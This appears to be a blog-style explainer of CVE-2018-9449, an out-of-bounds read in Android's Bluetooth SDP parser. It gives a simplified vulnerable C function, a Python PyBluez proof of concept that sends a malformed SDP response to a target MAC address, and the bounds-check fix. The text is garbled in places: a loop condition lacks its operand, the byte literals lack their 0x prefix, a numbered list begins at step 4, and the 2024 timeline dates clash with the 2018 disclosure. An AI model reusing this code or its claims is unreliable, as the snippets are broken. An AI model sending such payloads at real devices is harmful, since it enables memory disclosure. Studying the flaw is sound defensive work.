In October 2018, a critical vulnerability named CVE-2018-9449 was discovered affecting Android's Bluetooth subsystem. This bug resides in the process_service_search_attr_rsp function of the sdp_discovery.cc source file and allows for a possible out-of-bounds read due to a missing bounds check. The flaw can expose sensitive local information without any user interaction or special privileges. In this post, I’ll break down what happened, how it works, reference original sources, and walk through the vulnerable code with easy-to-understand explanations.

What is CVE-2018-9449?

CVE-2018-9449 is a vulnerability in AOSP (Android Open Source Project)'s Bluetooth SDP (Service Discovery Protocol) discovery implementation.

- Component affected: system/bt/sdp/sdp_discovery.cc (This is part of Android Bluetooth)

User interaction: Not needed

Official reference:
- Google AOSP Issue
- NVD Listing
- Android Security Bulletin - October 2018

Vulnerable Code Explained

Let’s peek at the problematic code section found in system/bt/sdp/sdp_discovery.cc, function: process_service_search_attr_rsp. To keep this simple, here is a simplified version of the code around where things go wrong:

void process_service_search_attr_rsp(..., uint8_t* p_rsp, ...) {
    uint8_t *p = p_rsp;
    ...
    // Assume "attr_list_byte_count" is read from the response
    uint16_t attr_list_byte_count = *(p + 1) * 256 + *(p + 2);
    p += 3;

    // Vulnerable: Missing bounds check here
    // "p" can point past the buffer of p_rsp, leading to out-of-bounds read!
    while (attr_list_byte_count >  && p < end_of_buffer) {
        // parsing attributes
        // ...
        p += some_length; // advances pointer
        attr_list_byte_count -= some_length;
    }
    ...
}

What's the issue?
attr_list_byte_count is taken from the response without validating that it doesn't exceed the actual size of the buffer. If an attacker spoofs a Bluetooth device and crafts a malicious SDP response with an incorrect (oversized) attr_list_byte_count, the code loops through memory it should not touch, possibly reading sensitive information and sending it on to the attacker.

Proof-of-Concept (PoC) Example

An attacker can create a rogue Bluetooth device or modify a Bluetooth stack on another device to respond with an *overlong* attr_list_byte_count during the SDP handshake process.

Here is a proof-of-concept in Python, using PyBluez, for sending a malicious response (for demonstration only):

from bluetooth import *

# This is conceptual: In practice, doing this may require lower-level access.
def send_malicious_sdp_response(addr):
    # Connect to target device (must be discoverable)
    sock = BluetoothSocket(L2CAP)
    sock.connect((addr, 1))  # 1 is typically SDP

    # Malformed SDP response: oversized attr_list_byte_count (e.g., xFFFF)
    sdp_payload = bytearray([x06, xFF, xFF]) + b'\x00' * 10  # Faking values

    sock.send(sdp_payload)
    sock.close()

target_device = "11:22:33:44:55:66" # Target device's MAC address
send_malicious_sdp_response(target_device)

Note: This code is a conceptual illustration and won’t work as-is, since lower-level Bluetooth packet crafting is usually required and access to the target device’s SDP server may be restricted. But it shows that the attack is not complex in principle.

Malicious device sends a malformed SDP response with a large attr_list_byte_count.

4. Victim device reads out-of-bounds memory; sensitive information (e.g., parts of other processes’ memory or bluetooth stack data) may be exposed via the Bluetooth channel.

Android versions prior to the October 2018 patch level.

- Devices using AOSP / stock Bluetooth stack (many vendors were affected).

You can find affected build numbers and patch details at the Android Security Bulletin for Oct 2018.

Google added proper bounds checks to ensure that the parser never reads past the buffer end

uint16_t attr_list_byte_count = ...; // read from response

// New fix: Ensure byte count does not exceed available buffer
if (p + attr_list_byte_count > end_of_buffer) {
    // Handle error: malformed response, abort parsing!
    return;
}

See full commit: AOSP Patch Commit

Apply security updates!

If you use Android, always apply the latest available security patches from your device manufacturer.

Developers:

When parsing binary protocols, always validate lengths and buffer boundaries before accessing memory.

More References

- CVE Details Page (CVE-2018-9449)
- BlueZ (Linux) SDP documentation
- Android Open Source Project / system/bt

Summary

CVE-2018-9449 highlights how a single unchecked buffer access in widely-deployed system software (like Android Bluetooth) can put user privacy at risk. Always stay updated, and remember: even “local” vulnerabilities in networking components like Bluetooth can be weaponized by attackers in the area, often without anyone noticing.

Timeline

Published on: 12/03/2024 01:15:04 UTC
Last modified on: 12/18/2024 20:10:01 UTC